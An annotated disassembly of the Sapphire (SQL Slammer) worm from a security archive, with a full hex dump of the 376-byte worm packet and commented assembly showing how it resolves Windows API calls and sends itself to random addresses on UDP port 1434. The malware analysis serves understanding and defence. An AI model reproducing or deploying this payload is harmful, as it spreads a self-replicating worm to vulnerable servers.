TUCoPS :: Malware :: worm.txt

Annotated Disassembly of the Sapphire worm

warning #1: i do not do much windows programming.
warning #2: i have not slept much lately.

this worm is completely contained inside its 376 byte payload; 
i disassembled the code itself (search for "start here") after
the nops to find out what it does.  there are some annotations;
most should make sense but feel free to let me know if i'm 
way off.

the short story: it sends copies of itself to everyone.
it does not store anything on the file system or even change
anything directly.  i do not know where the flaw in sqlserver
is, although it seems like this is pretty well known already
(for instance, there is a similar exploit at 
http://www.ysgnet.com/hn/exploits/adv_win32_shellcode.txt)
shutting down sqlserver will completely stop this (although
you will still be vulnerable again, of course)

this was disassembled from www.boredom.org/~cstone/onepacket
which is a pcap capture of a single packet.

if you don't know how to work objdump, here's how:
objdump -s -m i386 -b binary -z --disassemble-all --start-address 0xc0 --show-raw-insn duh.pcap

--cstone@pobox.com

duh.pcap:     file format binary

Contents of section .data:
 0000 d4c3b2a1 02000400 00000000 00000000  Ôò¡............
 0010 88130000 01000000 0d40323e ff7b0200  .........@2>ÿ{..
 0020 a2010000 a2010000 00e08121 e1660005  ¢...¢....à.!áf..
 0030 dd79e870 08004500 01943127 00007411  Ýyèp..E...1'..t.
 0040 53ce9320 8178d1a6 da240fb0 059a0180  SÎ. .xѦÚ$.°....
 0050 65370401 01010101 01010101 01010101  e7..............
 0060 01010101 01010101 01010101 01010101  ................
 0070 01010101 01010101 01010101 01010101  ................
 0080 01010101 01010101 01010101 01010101  ................
 0090 01010101 01010101 01010101 01010101  ................
 00a0 01010101 01010101 01010101 01010101  ................
 00b0 010101dc c9b042eb 0e010101 01010101  ...ÜÉ°Bë........
 00c0 70ae4201 70ae4290 90909090 90909068  p®B.p®B........h
 00d0 dcc9b042 b8010101 0131c9b1 1850e2fd  ÜÉ°B¸....1ɱ.Pâý
 00e0 35010101 055089e5 51682e64 6c6c6865  5....P.åQh.dllhe
 00f0 6c333268 6b65726e 51686f75 6e746869  l32hkernQhounthi
 0100 636b4368 47657454 66b96c6c 51683332  ckChGetTf¹llQh32
 0110 2e646877 73325f66 b9657451 68736f63  .dhws2_f¹etQhsoc
 0120 6b66b974 6f516873 656e64be 1810ae42  kf¹toQhsend¾..®B
 0130 8d45d450 ff16508d 45e0508d 45f050ff  .EÔPÿ.P.EàP.EðPÿ
 0140 1650be10 10ae428b 1e8b033d 558bec51  .P¾..®B....=U.ìQ
 0150 7405be1c 10ae42ff 16ffd031 c9515150  t.¾..®Bÿ.ÿÐ1ÉQQP
 0160 81f10301 049b81f1 01010101 518d45cc  .ñ.....ñ....Q.EÌ
 0170 508b45c0 50ff166a 116a026a 02ffd050  P.EÀPÿ.j.j.j.ÿÐP
 0180 8d45c450 8b45c050 ff1689c6 09db81f3  .EÄP.EÀPÿ..Æ.Û.ó
 0190 3c61d9ff 8b45b48d 0c408d14 88c1e204  <aÙÿ.E´..@...Áâ.
 01a0 01c2c1e2 0829c28d 049001d8 8945b46a  .ÂÁâ.)Â....Ø.E´j
 01b0 108d45b0 5031c951 6681f178 01518d45  ..E°P1ÉQf.ñx.Q.E
 01c0 03508b45 ac50ffd6 ebca               .P.E¬PÿÖëÊ      
Disassembly of section .data:

00000000 <.data>:
   0:	d4 c3                	aam    $0xffffffc3
   2:	b2 a1                	mov    $0xa1,%dl
   4:	02 00                	add    (%eax),%al
   6:	04 00                	add    $0x0,%al
   8:	00 00                	add    %al,(%eax)
   a:	00 00                	add    %al,(%eax)
   c:	00 00                	add    %al,(%eax)
   e:	00 00                	add    %al,(%eax)
  10:	88 13                	mov    %dl,(%ebx)
  12:	00 00                	add    %al,(%eax)
  14:	01 00                	add    %eax,(%eax)
  16:	00 00                	add    %al,(%eax)
  18:	0d 40 32 3e ff       	or     $0xff3e3240,%eax
  1d:	7b 02                	jnp    0x21
  1f:	00 a2 01 00 00 a2    	add    %ah,0xa2000001(%edx)
  25:	01 00                	add    %eax,(%eax)
  27:	00 00                	add    %al,(%eax)
  29:	e0 81                	loopne 0xffffffac
  2b:	21 e1                	and    %esp,%ecx
  2d:	66                   	data16
  2e:	00 05 dd 79 e8 70    	add    %al,0x70e879dd
  34:	08 00                	or     %al,(%eax)
  36:	45                   	inc    %ebp
  37:	00 01                	add    %al,(%ecx)
  39:	94                   	xchg   %eax,%esp
  3a:	31 27                	xor    %esp,(%edi)
  3c:	00 00                	add    %al,(%eax)
  3e:	74 11                	je     0x51
  40:	53                   	push   %ebx
  41:	ce                   	into   
  42:	93                   	xchg   %eax,%ebx
  43:	20 81 78 d1 a6 da    	and    %al,0xdaa6d178(%ecx)
  49:	24 0f                	and    $0xf,%al
  4b:	b0 05                	mov    $0x5,%al
  4d:	9a 01 80 65 37 04 01 	lcall  $0x104,$0x37658001
  54:	01 01                	add    %eax,(%ecx)
  56:	01 01                	add    %eax,(%ecx)
  58:	01 01                	add    %eax,(%ecx)
  5a:	01 01                	add    %eax,(%ecx)
  5c:	01 01                	add    %eax,(%ecx)
  5e:	01 01                	add    %eax,(%ecx)
  60:	01 01                	add    %eax,(%ecx)
  62:	01 01                	add    %eax,(%ecx)
  64:	01 01                	add    %eax,(%ecx)
  66:	01 01                	add    %eax,(%ecx)
  68:	01 01                	add    %eax,(%ecx)
  6a:	01 01                	add    %eax,(%ecx)
  6c:	01 01                	add    %eax,(%ecx)
  6e:	01 01                	add    %eax,(%ecx)
  70:	01 01                	add    %eax,(%ecx)
  72:	01 01                	add    %eax,(%ecx)
  74:	01 01                	add    %eax,(%ecx)
  76:	01 01                	add    %eax,(%ecx)
  78:	01 01                	add    %eax,(%ecx)
  7a:	01 01                	add    %eax,(%ecx)
  7c:	01 01                	add    %eax,(%ecx)
  7e:	01 01                	add    %eax,(%ecx)
  80:	01 01                	add    %eax,(%ecx)
  82:	01 01                	add    %eax,(%ecx)
  84:	01 01                	add    %eax,(%ecx)
  86:	01 01                	add    %eax,(%ecx)
  88:	01 01                	add    %eax,(%ecx)
  8a:	01 01                	add    %eax,(%ecx)
  8c:	01 01                	add    %eax,(%ecx)
  8e:	01 01                	add    %eax,(%ecx)
  90:	01 01                	add    %eax,(%ecx)
  92:	01 01                	add    %eax,(%ecx)
  94:	01 01                	add    %eax,(%ecx)
  96:	01 01                	add    %eax,(%ecx)
  98:	01 01                	add    %eax,(%ecx)
  9a:	01 01                	add    %eax,(%ecx)
  9c:	01 01                	add    %eax,(%ecx)
  9e:	01 01                	add    %eax,(%ecx)
  a0:	01 01                	add    %eax,(%ecx)
  a2:	01 01                	add    %eax,(%ecx)
  a4:	01 01                	add    %eax,(%ecx)
  a6:	01 01                	add    %eax,(%ecx)
  a8:	01 01                	add    %eax,(%ecx)
  aa:	01 01                	add    %eax,(%ecx)
  ac:	01 01                	add    %eax,(%ecx)
  ae:	01 01                	add    %eax,(%ecx)
  b0:	01 01                	add    %eax,(%ecx)
  b2:	01 dc                	add    %ebx,%esp
  b4:	c9                   	leave  
  b5:	b0 42                	mov    $0x42,%al
  b7:	eb 0e                	jmp    0xc7
  b9:	01 01                	add    %eax,(%ecx)
  bb:	01 01                	add    %eax,(%ecx)
  bd:	01 01                	add    %eax,(%ecx)
  bf:	01 70 ae             	add    %esi,0xffffffae(%eax)
  c2:	42                   	inc    %edx
  c3:	01 70 ae             	add    %esi,0xffffffae(%eax)
  c6:	42                   	inc    %edx
  c7:	90                   	nop    
  c8:	90                   	nop    
  c9:	90                   	nop    
  ca:	90                   	nop    
  cb:	90                   	nop    
  cc:	90                   	nop    
  cd:	90                   	nop    


  --- start here
  ce:	90                   	nop    
  cf:	68 dc c9 b0 42       	push   $0x42b0c9dc
  d4:	b8 01 01 01 01       	mov    $0x1010101,%eax
  d9:	31 c9                	xor    %ecx,%ecx
  db:	b1 18                	mov    $0x18,%cl
  dd:	50                   	push   %eax
  de:	e2 fd                	loop   0xdd
  e1:	35 01 01 01 05       	xor    $0x5010101,%eax
  e5:	50                   	push   %eax
  e6:	89 e5                	mov    %esp,%ebp
  e8:	51                   	push   %ecx

these push a mini-symbol table on the stack.
initially it looks something like this:
sendto00 cb
socket00 d3
ws2_32.d db
ll00GetT e3
ickCount eb
0000kern f3
el32.dll fb
00000004
^ ebp

  e9:	68 2e 64 6c 6c       	push   $0x6c6c642e
  ee:	68 65 6c 33 32       	push   $0x32336c65
  f3:	68 6b 65 72 6e       	push   $0x6e72656b
  f8:	51                   	push   %ecx
  f9:	68 6f 75 6e 74       	push   $0x746e756f
  fe:	68 69 63 6b 43       	push   $0x436b6369
 103:	68 47 65 74 54       	push   $0x54746547
 108:	66 b9 6c 6c          	mov    $0x6c6c,%cx
 10c:	51                   	push   %ecx
 10d:	68 33 32 2e 64       	push   $0x642e3233
 112:	68 77 73 32 5f       	push   $0x5f327377
 117:	66 b9 65 74          	mov    $0x7465,%cx
 11b:	51                   	push   %ecx
 11c:	68 73 6f 63 6b       	push   $0x6b636f73
 121:	66 b9 74 6f          	mov    $0x6f74,%cx
 125:	51                   	push   %ecx
 126:	68 73 65 6e 64       	push   $0x646e6573
 12b:	be 18 10 ae 42       	mov    $0x42ae1018,%esi

# find sendto in ws2_32.dll
 130:	8d 45 d4             	lea    0xffffffd4(%ebp),%eax    ## ws2_32.dll:sendto
 133:	50                   	push   %eax
 134:	ff 16                	call   *(%esi) 
 136:	50                   	push   %eax # SND2
# find GetTickCount
 137:	8d 45 e0             	lea    0xffffffe0(%ebp),%eax    ## GetTickCount
 13a:	50                   	push   %eax
 13b:	8d 45 f0             	lea    0xfffffff0(%ebp),%eax    ## kernel32.dll
 13e:	50                   	push   %eax
 13f:	ff 16                	call   *(%esi)
 141:	50                   	push   %eax # GETT


# GetProcAddr apparently appears in different locations -- this one
# tries both
 142:	be 10 10 ae 42       	mov    $0x42ae1010,%esi  # try 1 for GetProcAddress
 147:	8b 1e                	mov    (%esi),%ebx
 149:	8b 03                	mov    (%ebx),%eax
 14b:	3d 55 8b ec 51       	cmp    $0x51ec8b55,%eax  # is this the right proc?
 150:	74 05                	je     0x157 # if we're ok then go ahead
 152:	be 1c 10 ae 42       	mov    $0x42ae101c,%esi  # try 2 for GetProcAddress
 157:	ff 16                	call   *(%esi)
 
 159:	ff d0                	call   *%eax # call GetTickCount
 15b:	31 c9                	xor    %ecx,%ecx 
 15d:	51                   	push   %ecx # 
 15e:	51                   	push   %ecx #
 15f:	50                   	push   %eax # push the tick count

# 0 ^ 0x9b040103 ^ 0x01010101 = 0x9a050002; this goes in 
# little-endian; 0x59a is 1434, our port and 0002 is the family
# (AF_INET)
 160:	81 f1 03 01 04 9b    	xor    $0x9b040103,%ecx
 166:	81 f1 01 01 01 01    	xor    $0x1010101,%ecx 
 16c:	51                   	push   %ecx 
 16d:	8d 45 cc             	lea    0xffffffcc(%ebp),%eax # socket
 170:	50                   	push   %eax
 171:	8b 45 c0             	mov    0xffffffc0(%ebp),%eax # handle; SND2
 174:	50                   	push   %eax
 175:	ff 16                	call   *(%esi)

 177:	6a 11                	push   $0x11 # protocol 17 - udp
 179:	6a 02                	push   $0x2  # socket type SOCK_DGRAM
 17b:	6a 02                	push   $0x2  # AF_INET
 17d:	ff d0                	call   *%eax # call socket
 17f:	50                   	push   %eax # push socket (SOCK) at ffffffb0(%ebp)
 180:	8d 45 c4             	lea    0xffffffc4(%ebp),%eax # get sendto addr
 183:	50                   	push   %eax
 184:	8b 45 c0             	mov    0xffffffc0(%ebp),%eax
 187:	50                   	push   %eax
 188:	ff 16                	call   *(%esi)


# it is almost ready to call sendto at this point -- however, GetTickCount
# was not sufficiently random enough for this guy, so he plays around
# with the address a bit before finally pushing it back into 0xffffffb4(%ebp)
# this mangling also ensures that it can loop without calling GetTickCount
# again, and get a different address.
# (although the quality of randomness is obviously in question here)
 18a:	89 c6                	mov    %eax,%esi # move sendto addr 
 18c:	09 db                	or     %ebx,%ebx # for mangling
 18e:	81 f3 3c 61 d9 ff    	xor    $0xffd9613c,%ebx

# start of the loop
 194:	8b 45 b4             	mov    0xffffffb4(%ebp),%eax # mov addr to eax
 197:	8d 0c 40             	lea    (%eax,%eax,2),%ecx # mangle the address.
 19a:	8d 14 88             	lea    (%eax,%ecx,4),%edx
 19d:	c1 e2 04             	shl    $0x4,%edx
 1a0:	01 c2                	add    %eax,%edx
 1a2:	c1 e2 08             	shl    $0x8,%edx
 1a5:	29 c2                	sub    %eax,%edx
 1a7:	8d 04 90             	lea    (%eax,%edx,4),%eax
 1aa:	01 d8                	add    %ebx,%eax # okay done mangling
 1ac:	89 45 b4             	mov    %eax,0xffffffb4(%ebp)
 1af:	6a 10                	push   $0x10 # length of the sockaddr
 1b1:	8d 45 b0             	lea    0xffffffb0(%ebp),%eax # b0 is where sockaddr starts
 1b4:	50                   	push   %eax # push sockaddr
 1b5:	31 c9                	xor    %ecx,%ecx
 1b7:	51                   	push   %ecx # flags - none
 1b8:	66 81 f1 78 01       	xor    $0x178,%cx # 376 bytes; the length
 1bd:	51                   	push   %ecx
 1be:	8d 45 03             	lea    0x3(%ebp),%eax # get the beginning of the buffer
 1c1:	50                   	push   %eax # push addr
 1c2:	8b 45 ac             	mov    0xffffffac(%ebp),%eax # get socket handle
 1c5:	50                   	push   %eax #
 1c6:	ff d6                	call   *%esi # call sendto
 1c8:	eb ca                	jmp    0x194 # jump back and do this again

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH